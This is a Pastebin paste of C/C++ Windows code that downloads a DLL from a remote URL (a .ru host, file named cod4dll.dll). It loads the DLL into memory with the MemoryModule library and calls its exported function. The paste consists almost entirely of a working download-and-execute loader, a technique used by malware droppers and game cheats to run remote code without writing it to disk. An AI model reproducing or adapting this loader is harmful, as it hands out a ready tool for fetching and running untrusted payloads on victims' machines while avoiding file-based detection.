Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //c
- #include <assert.h>
- #include <windows.h>
- //demands linked ininet.lib
- #include <wininet.h>
- typedef PVOID HINTERNET;
- typedef HINTERNET(WINAPI *InetOpenA)(LPCTSTR, char*, char*, char*, char*); //InterNetOpenA
- typedef HINTERNET(WINAPI *InetOpenUrlA) (HINTERNET, LPCSTR, char*, char*, char*, char*); //InternetOpenUrlA
- typedef BOOL(WINAPI *InetReadFile) (HINTERNET, LPVOID, DWORD, LPDWORD); //InternetReadFileA
- typedef HANDLE(WINAPI *CreatFile) (LPCTSTR, int, int, int, int, int, int); //CreateFileA
- typedef BOOL(WINAPI *WritFile) (HANDLE, LPCVOID, int, LPDWORD, int); //WriteFileA
- //c++
- #include <vector>
- #include <iostream>
- using std::vector;
- typedef BYTE byte;// BYTE does not look cool
- //open source lib
- #include "MemoryModule.h"
- void inject(vector<byte>&& internal_dll){
- auto handle = MemoryLoadLibrary(&internal_dll[0], internal_dll.size());
- assert(handle != nullptr);
- auto callme_f = reinterpret_cast<void(*)()>(MemoryGetProcAddress(handle, "callme"));
- callme_f();
- MemoryFreeLibrary(handle);
- }
- vector<byte> download(wchar_t* link){
- vector<byte> res;
- byte buffer[2048];
- auto InternetHandle = InternetOpen(L"anon", 0, nullptr, nullptr, 0);
- assert(InternetHandle != nullptr);
- auto UrlHandle = InternetOpenUrl(InternetHandle, link, nullptr, 0, 0, 0);
- DWORD bytes_next = -1;
- while (bytes_next != 0){
- auto success = InternetReadFile(UrlHandle, buffer, sizeof(buffer), &bytes_next);
- assert(success);
- res.insert(res.end(), buffer, buffer + bytes_next);
- }
- //CloseHandle(UrlHandle); those do not work correctly for some reason lol
- //CloseHandle(InternetHandle);
- return res;
- }
- int main() {
- auto file = download(L"https://groupstudy.ru/cod4dll.dll");
- inject(std::move(file));
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement